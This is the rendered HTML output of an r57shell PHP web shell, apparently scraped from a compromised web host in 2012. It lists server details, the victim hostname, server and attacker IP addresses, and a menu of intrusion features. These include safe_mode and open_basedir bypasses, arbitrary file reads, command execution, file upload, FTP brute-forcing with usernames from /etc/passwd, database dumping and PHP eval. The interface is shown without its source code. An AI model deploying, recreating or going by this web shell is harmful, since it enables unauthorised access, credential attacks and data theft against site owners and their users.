Ko0l^^ shell!

! Ko0l^^ shell!

  23-02-2012 02:16:56  [ phpinfo ]  [ php.ini ]  [ cpu ]  [ mem ]  [ users ]  [ Brute ]  [ tmp ]  [ ln -s all ]  [ Tools ]
  Safe_mode: ON  Open_Basedir: /home/vesinhco:/usr/lib/php:/usr/local/lib/php:/tmp  Safe_Exec_Dir: NONE  Safe_Gid: OFF  Safe_Include_Dir: NONE  Sql.safe_mode: OFF
  PHP version: 5.2.17  cURL: ON  MySQL: ON  MSSQL: OFF  PostgreSQL: OFF  Oracle: OFF
  Disable functions : exec,execl,system,passthru,shell_exec,set_time_limit,escapeshellarg,escapeshellcmd,proc_close,ini_alter,proc_open,dl,popen,show_source,posix_getpwuid,getpwuid,posix_geteuid,posix_getegid,posix_getgrgid,open_basedir,safe_mode_include_dir,pcntl_exec,pcntl_fork,putenv,proc_get_status,proc_nice,proc_terminate,pclose,virtual,openlog,popen,pclose,virtual,openlog,escapeshellcmd,escapeshellarg,dl,show_source,symlink,eval,mail,chmod
  Useful: mod_include(SSI)
  Downloaders: fopen
  Free space : 40.74 GB   Total space: 222.92 GB
  Server IP: [ 112.213.89.37 ]   --   Your IP: [ 38.107.179.207 ]

uname -a :
sysctl :
$OSTYPE :
Server :
id :
pwd :

   Linux ns8937.dotvndns.vn 2.6.18-194.17.4.el5 #1 SMP Mon Oct 25 15:50:53 EDT 2010 x86_64
   -

   Apache
   user=nobody uid=99 gid=99
   /home/vesinhco/public_html/newproduct   ( u--------- )

Executed command: safe_dir

ACCESS DENIED

:: Work in safe_mode ::

Work directory :

:: read file from PLUGIN ::

where file in server :
Show list users :

:: Chown/Chgrp/Chmod ::

:: Create/Delete File/Dir ::

name :

:: read file from vul ini_restore() ::

where file in server :

:: Edit files ::

File for edit :

:: Test bypass safe_mode with include function ::

:: htaccess safemode and open_basedir bypass ::

Run command :

:: SSI safe_mode bypass ::

Run command :

:: read dir from vul reg_glob ::

read dir :

:: read dir from vul root ::

read dir :

:: read file from vul curl() ::

where file in server :

:: Bypass php 5.2.6 ::

Cat file :

:: Bypass php 5.2.9 ::

Cat file :

:: Php Bypass ::

Read File

File : :

View Dir

Dir : :

:: DeZender ::

Cat file :

:: Test bypass safe_mode, copy file via compress.zlib:// in function copy() ::

:: COM functions safe_mode and disable_function bypass ::

Run command :

:: ionCube extension safe_mode bypass ::

Cat file :

:: Aliases ::

:: Find text in files ::

Find text :
In dirs :	*
Only in files :	*

:: Eval PHP code ::

:: Test bypass open_basedir with cURL functions ::

:: Test bypass safe_mode with function mb_send_mail ::

Cat file :

:: Test bypass safe_mode, view dir list via imap_list ::

Work directory :

:: Test bypass safe_mode, view file contest via imap_body ::

:: Upload files on server ::

Local file :
New name :

:: Multy Upload files on server ::

Local file :
Local file :
Local file :

Local file :
Local file :

:: Download files from server ::

:: FTP-bruteforce ::

FTP-server:port :
	* use username from /etc/passwd for ftp login and password ( Users list )
	Use reverse (user -> resu) login for password

:: safe_mode off ::

Close safe_mode with php.ini
Close security_mod with .htaccess
write ini.php file to close safe_mode with ini_restore vul

Use :
Use :
Use :

:: Databases ::

Dump database table

Type :
SQL-Server : Port :	:
Login : Password :	:
Db . Table :	.
Save dump in file :

Run SQL query

Type :
SQL-Server : Port :	:
Login : Password :	:
Database :
SQL query :

o---[ r57shell - Edit By Ko0l^^ | http://pianokia.net | pianokia_never_125@yahoo.com | version 1.0 ]---o